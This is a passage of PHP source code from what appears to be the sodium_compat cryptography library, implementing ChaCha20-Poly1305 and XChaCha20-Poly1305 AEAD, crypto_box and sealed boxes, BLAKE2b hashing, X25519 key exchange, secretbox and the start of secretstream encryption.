     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf)));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        $c = self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
        return $c;
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in crypto_box() */
        $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
        $sKey = ParagonIE_Sodium_Core_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey)
    {
        return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '', $outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '', $outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
            $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength, $s, $p);

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core_BLAKE2b::update($context, $in, $in->count());

        return ParagonIE_Sodium_Core_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash(
            ParagonIE_Sodium_Compat::crypto_scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q = ParagonIE_Sodium_Core_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hchacha20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core_Util::xorStrings(
            ParagonIE_Sodium_Core_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20($out, $key);
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($out, 16, 8) . str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key, $header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

